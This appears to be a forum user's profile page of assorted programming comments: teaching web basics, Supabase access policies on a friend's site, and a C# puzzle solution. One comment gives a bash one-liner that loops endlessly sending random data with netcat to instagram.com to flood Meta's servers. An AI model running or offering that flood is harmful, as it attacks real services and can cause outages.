Skip Navigation

Posts
24
Comments
60
Joined
5 mo. ago

☭🇨🇳 🚩✯☭USSR☭✯🚩 ☢✯☭🇷🇺🚩

  • That makes sense, I am also teaching html amd css first so I think JavaScript makes sense to teach next.

    I was thinking about C because that's the first thing I learned in the college and that's my favorite language till this day.

  • could you share some resources please?

  • we have been trying to move away from google but don't have any other robust solution to prevent spam that's why we are stuck with Google :(

  • welcome!

    I am currently working on https://spaidyslabs.com/ it's a project of my friend. feel free to join or collaborate! :D

    ( oh and if you find any vulnerabilities which there are a lot please report it don't exploit it :) )

  • things were simpler back then 🤧

  • Thank you for the help <3

  • no 🤧

    I mean yeah I used AI but it's not entirely vibe coded.

  • there used to be a time when you can just use curl to upload files to 0x0.st but recently they don't allow it I think because of the spam.

  • well if a person decide to use this attack small OSS projects server then we are failed as humanity. I shared this article to fight against big tech surveillance if people use it to damage FOSS project I highly discourage that behavior.

  • I found this magical command to send 50kb of random text data to meta's server to fill up their database with garbage data. I don't know how to do it on massive scale but at least I am doing my part by running this command 24/7 :)

     bash
        
    while true;  do echo "$(openssl rand -hex 500000)" | netcat instagram.com 80 & disown; done;
    
      
  • wait what? I feel like I am left behind in the tech. I only know about ipv4 and ipv6 😭😭😭

  • that's exactly what happened with recent project I worked with it's https://spaidyslabs.com/ if you are interested. we just shove whatever worked at the time of developing it and now it just a mess!

    no policies protecting the supabase, all the supabase calls are coming from client instead of the backend which makes it so difficult to make it secure. 😭

    at this point I think we need a entire rewrite of the database and the nextjs code which takes time and effort 😭😭😭

  • What policies are preventing users from inserting data? okay, I just got confused there for a bit actually what's happening is that I have created a policy on SELECT to prevent other users from accessing data of other users and it looks something like auth.uid() = user_id. iirc the policy to prevent INSERT looks something like this: auth.role() = 'authenticated'::text() so yeah only authenticated users can insert data but that doesn't guaranty that client/user/browser will insert correct data.

    If you are asking this question then you very likely should not be doing what you’re doing. yes, I know that's why I am asking for suggestions, I don't have much experience in either supabase or Nextjs but I am learning :)

    There are ways to do it safely, but it’s for very very specific circumstances, with very very specific security setups. okay, so what do you suggest I should do. I can't just shove more policies into the supabase to make it secure I think so the only way to make it secure is to have the server ( vercel ) do all the supabase calls and don't share the supabase url so that the client can't just query supabase. but again the reason I am not doing this is that it will require a very big refactor throughout the codebase. ( which I am terrified of T.T )

  • Oh so that's why I was seeing a lot of post from that account, I thought they were generous😨

  • Wow thank you so much!

  • If no then why nobody has made it already?

  • Wow thanks for the mini tutorial :)

  • C# ( c sharp )

     
        
    using System.Collections;
    using System.Collections.Generic;
    
    namespace ConsoleApp1
    {
        public static class Program
        {
            public static void Part1()
            {
                var lines = File.ReadAllLines("C:\\Users\\aman\\RiderProjects\\ConsoleApp1\\ConsoleApp1\\input.txt");
                var dialReading = 50;
                int result = 0;
                foreach (var line in lines)
                {
                    if (dialReading == 0)
                    {
                        result += 1;
                    }
                    char dir = line[0];
                    int rotation =  int.Parse(line.Substring(1));
                    if (dir == 'R')
                    {
                        dialReading += rotation;
                        dialReading %= 100;
                    }
                    else
                    {
                        int diff = dialReading - rotation;
                        if (diff > 0)
                        {
                            dialReading -= rotation;
                            dialReading %= 100;
                        }
                        else
                        {
                            dialReading = dialReading + 100 - rotation;
                            dialReading %= 100;
                        }
                    }
                }
    
                Console.WriteLine(result);
            }
    
            public static void Part2()
            {
                var lines = File.ReadAllLines("C:\\Users\\aman\\RiderProjects\\ConsoleApp1\\ConsoleApp1\\input.txt");
                var dialReading = 50;
                int result = 0;
                foreach (var line in lines)
                {
                    char dir = line[0];
                    int rotation =  int.Parse(line.Substring(1));
                    if (dir == 'R')
                    {
                        while (rotation > 0)
                        {
                            if (dialReading == 0)
                                result += 1;
                            dialReading += 1;
                            dialReading %= 100;
                            rotation -= 1;
                        }
                    }
                    else
                    {
                        while (rotation > 0)
                        {
                            if (dialReading == 0)
                                result += 1;
                            dialReading -= 1;
                            if ( dialReading < 0)
                                dialReading += 100;
                            dialReading %= 100;
                            rotation -= 1;
                        }
                    }
                }
    
                Console.WriteLine(result);
            }
            public static void Main(string[] args)
            {
                Part1();
                Part2();
            }
        }
    }
    
      
  • Windows + Visual Studio :(